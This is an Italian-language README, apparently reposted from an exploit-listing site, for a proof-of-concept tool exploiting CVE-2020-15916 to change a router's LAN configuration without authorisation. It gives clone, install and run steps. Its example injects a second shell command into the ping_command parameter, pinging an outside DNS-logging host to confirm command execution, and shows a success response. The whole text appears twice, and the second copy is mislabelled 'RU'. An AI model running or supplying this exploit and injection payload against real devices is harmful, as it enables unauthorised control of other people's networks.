EN

GenLANConfigAttack - è un PoC per lo sfruttamento di CVE-2020-15916, una vulnerabilità che consente di modificare senza autorizzazione la configurazione LAN di un dispositivo.

Funzionalità

• Sfrutta la vulnerabilità della configurazione LAN
• Invia un payload dannoso per alterare le impostazioni di rete
• Aggira i meccanismi di sicurezza per ottenere il controllo sulla LAN

Come Usare

1. Clona questo repository:
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2020-15916
   

2. Installa le dipendenze:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Esegui l'exploit:
   root@kitploit:~

   python GenLANConfigAttack.py
   

Parametri

• target_ip: L'indirizzo IP del dispositivo di destinazione.
• ping_command: Comando da eseguire sul dispositivo di destinazione.
• session_password: Password per l'accesso alla sessione.

Esempio

python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'

[Response from 192.168.0.1]: 
{"success":true,"message":"LAN IP configuration updated successfully"}

Riferimento CVE

Questo PoC riguarda la vulnerabilità CVE-2020-15916, che consente agli attaccanti di alterare la configurazione LAN dei dispositivi vulnerabili sfruttando un debole meccanismo di autenticazione.

Disclaimer

Questo strumento è fornito esclusivamente a scopo educativo. Usalo in modo responsabile e solo in ambienti in cui disponi di un'autorizzazione esplicita.

RU

GenLANConfigAttack è un PoC per lo sfruttamento della vulnerabilità CVE-2020-15916, che consente di modificare senza autorizzazione la configurazione LAN del dispositivo.

Funzionalità

• Sfrutta la vulnerabilità della configurazione LAN
• Invia un payload dannoso per modificare le impostazioni di rete
• Aggira i meccanismi di sicurezza per ottenere il controllo sulla LAN

Come Usare

1. Clona questo repository:
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2020-15916
   

2. Installa le dipendenze:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Esegui l'exploit:
   root@kitploit:~

   python GenLANConfigAttack.py
   

Parametri

• target_ip: L'indirizzo IP del dispositivo di destinazione.
• ping_command: Comando da eseguire sul dispositivo di destinazione.
• session_password: Password per l'accesso alla sessione.

Esempio

python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'

[Ответ от 192.168.0.1]: 
{"success":true,"message":"Конфигурация LAN IP успешно обновлена"}

Riferimento CVE

Questo PoC sfrutta la vulnerabilità CVE-2020-15916, che consente agli attaccanti di modificare la configurazione LAN sui dispositivi vulnerabili utilizzando un debole meccanismo di autenticazione.

Disclaimer

Questo strumento è fornito esclusivamente a scopo educativo. Usalo in modo responsabile e solo in ambienti in cui disponi di un'autorizzazione esplicita.